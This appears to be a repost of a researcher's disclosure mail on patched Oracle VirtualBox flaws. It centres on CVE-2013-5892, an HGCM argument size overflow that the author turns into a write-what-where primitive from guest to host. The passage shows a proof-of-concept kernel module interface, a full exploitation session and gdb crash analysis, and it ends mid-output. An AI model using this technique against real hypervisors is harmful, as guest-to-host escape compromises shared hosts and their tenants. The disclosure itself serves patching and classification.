Home / vulnerabilities Oracle Virtualbox Overflow / Type Confusion / Missing Validation
Posted on 11 February 2014
Source : packetstormsecurity.org Link
Hi there,
Recently I found a few vulnerabilities in Oracle VM VirtualBox, the
open-source virtualization product. These have already been reported to the
project, fixed and disclosed in the form of the recent January 2014 Oracle
Critical Patch Update (at
<http://www.oracle.com/technetwork/topics/security/cpujan2014-1972949.html>).
The purpose of this mail is simply to provide a few more specifics about each
vulnerability to allow distributors, packagers and other users of the software
to better classify them (and, of course, for the sake of freely sharing
information!)
(Most of the rest of this message is a hacked-up version of the initial
private disclosure to Oracle; please excuse any messed-up tenses or similar.
Also, I've tried to clarify any VBox-specific terminology but it still might
be lacking in places.)
These vulnerabilities were tested on both 32-bit and 64-bit versions of
VirtualBox, namely:
32-bit: 4.2.16_Debianr86992 ((what was) the current Debian jessie
VirtualBox package)
64-bit: 4.2.51_OSEr47061 (compiled from SVN)
The SVN trunk at the time was also inspected to ensure fixes hadn't been made
since these versions.
The exploitability of some of the vulnerabilities depends on the architectural
width of the host; where this is the case it is explicitly mentioned. When an
exploitation attempt is performed on a host not of the correct width the
attempt usually leads to DOS instead.
The first two vulnerabilities are in the VMMDev device's HGCM interface, the
third is in the Windows Guest Additions' Shared Folder driver and the final
two are in the handling of other VMMDev request types.
* Vuln. #1: VMMDev HGCM argument size overflow (CVE-2013-5892)
The first step in processing a HGCM (Host-Guest Communication Manager) call
VMMDev request is to calculate the total size of the call's arguments. This is
so the correct amount of space can be allocated for the arguments whose types
(linear in/out addresses and page lists) need buffer space for transferring
between guest and host memory. This calculation is performed using the
"cbCmdSize" variable.
The problem lies in the fact that this calculation can easily overflow and
hence the check afterward to see whether the amount of space required is too
large or not will mistakenly pass. This leads to a
smaller-than-actually-required amount of memory being allocated for the
host-side VBOXHGCMCMD structure. This structure holds host-side HGCM call
information including information on each argument (type, pointer to host
buffer space, size) and the buffers themselves. This is obviously an
exploitable heap overflow, but we can do better.
The aforementioned host-side buffer pointers which are then assigned to the
arguments which need them can, via careful argument size choice, be lead to
point to arbitrary host memory instead of within the third part of the
VBOXHGCMCMD structure where they are supposed to point.
Notably, one can craft the individual argument sizes so that the buffer
pointer placement routine wraps around the address space and sets the buffers
to point to the head of the VBOXHGCMCMD structure, allowing one to cleanly
write to the other parts of the structure, including the other argument types
and host-side buffer pointers.
Using this, one can write to one of these host-side buffer pointers so that
the resulting HGCM call output for that argument is sent elsewhere in the
address space - a write-(almost-)what-where vulnerability of arbitrary length
which is not affected by the heap/ASLR moving the HGCM structure around in
memory (since the method of exploitation uses distances relative to the head
of the HGCM structure itself).
This can be exploited to allow host ring 3 code execution from guest ring 0
(assuming a guest IOPL of 0). A POC exploit in the form of a Linux kernel
module which takes "addr" and "val" arguments to specify where and what to
write into host ring 3 memory was created (and sent in the full report):
mattd@debian:~$ /sbin/modinfo vmmdev_vuln_oflow.ko
filename: /home/mattd/vmmdev_vuln_oflow.ko
license: Dual BSD/GPL
depends:
vermagic: 3.2.0-4-486 mod_unload modversions 486
parm: addr:Host-ring3 address to write to (ulong)
parm: val:Value to write (UTF-8 hex) (string)
Here is an example exploitation session:
- Start a VM
$ VBoxManage startvm foo4 --type headless
Waiting for VM "foo4" to power on...
VM "foo4" has been successfully started.
- Demonstrate that there is nothing written at this arbitrarily-chosen location in the host-side VBox process memory
$ sudo dd if=/proc/`pidof VBoxHeadless`/mem bs=1 skip=$((0x804eff0)) count=16 2> /dev/null | hd
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010
- Run the exploit in the guest VM, specifying what to write and where
$ ssh -p2222 root@foo4 'insmod vmmdev_vuln_oflow.ko addr=0x804eff0 val=`echo -n "Hi from guest!" | hexdump -e "/1 """%x""`'
- Demonstrate that the string was successfully written to the aforementioned host-side location
$ sudo dd if=/proc/`pidof VBoxHeadless`/mem bs=1 skip=$((0x804eff0)) count=16 2> /dev/null | hd
00000000 48 69 20 66 72 6f 6d 20 67 75 65 73 74 21 00 00 |Hi from guest!..|
00000010
- Run the exploit in the guest VM again, this time to generate a SIGSEGV in the process
$ ssh -p2222 root@foo4 'rmmod vmmdev_vuln_oflow.ko; insmod ~mattd/vmmdev_vuln_oflow.ko addr=0xdeadbeef val=4142434445'
Connection to foo4 closed by remote host.
- Demonstrate that the host-side VBox process did indeed die
$ dmesg | tail -n1
[24916.950477] GuestPropSvc[12681]: segfault at deadbeef ip b758b55f sp b49091bc error 7 in libc-2.17.so[b750c000+1a9000]
- Check out the generated core dump
$ gdb /usr/lib/virtualbox/VBoxHeadless core
GNU gdb (GDB) 7.6 (Debian 7.6-5)
Copyright (C) 2013 Free Software Foundation, Inc.
(...)
Core was generated by `/usr/lib/virtualbox/VBoxHeadless --comment foo4 --startvm d8eac50d-f6d7-4b04-bf'.
Program terminated with signal 11, Segmentation fault.
#0 __memcpy_ia32 () at ../sysdeps/i386/i686/multiarch/../memcpy.S:98
98 ../sysdeps/i386/i686/multiarch/../memcpy.S: No such file or directory.
(gdb) bt
#0 __memcpy_ia32 () at ../sysdeps/i386/i686/multiarch/../memcpy.S:98
#1 0xb5f0c1c4 in guestProp::Service::getProperty (this=this@entry=0xb5101048, cParms=cParms@entry=4, paParms=paParms@entry=0xaa2635dc)
at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/HostServices/GuestProperties/service.cpp:609
#2 0xb5f0e7ce in guestProp::Service::call (this=0xb5101048, callHandle=0xaa263a60, u32ClientID=7, eFunction=1, cParms=4, paParms=0xaa2635dc)
at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/HostServices/GuestProperties/service.cpp:1260
#3 0xb6154e8e in hgcmServiceThread (ThreadHandle=2147483665, pvUser=0x8cb89c0)
at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Main/src-client/HGCM.cpp:603
#4 0xb6153783 in hgcmWorkerThreadFunc (ThreadSelf=0x8cb8bc0, pvUser=0x8cb8a38)
at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Main/src-client/HGCMThread.cpp:194
#5 0xb743a1fe in rtThreadMain (pThread=0x8cb8bc0, NativeThread=3029375808, pszThreadName=0x8cb914c "GuestPropSvc")
at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Runtime/common/misc/thread.cpp:712
#6 0xb748a429 in rtThreadNativeMain (pvArgs=0x8cb8bc0) at /build/virtualbox-rxXrih/virtualbox-4.2.16-dfsg/src/VBox/Runtime/r3/posix/thread-posix.cpp:321
#7 0xb76c7cf1 in start_thread (arg=0xb4909b40) at pthread_create.c:311
#8 0xb75fafee in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:131
(gdb) x/2i $pc
=> 0xb758b55f <__memcpy_ia32+95>: movsw %ds:(%esi),%es:(%edi)
0xb758b561 <__memcpy_ia32+97>: rep movsl %ds:(%esi),%es:(%edi)
(gdb) i r esi edi eax
esi 0xb5102a74 -1257231756
edi 0xdeadbeef -559038737
eax 0x6 6
(gdb) x/6c $esi
0xb5102a74: 65 'A' 66 'B' 67 'C' 68 'D' 69 'E' 0 '
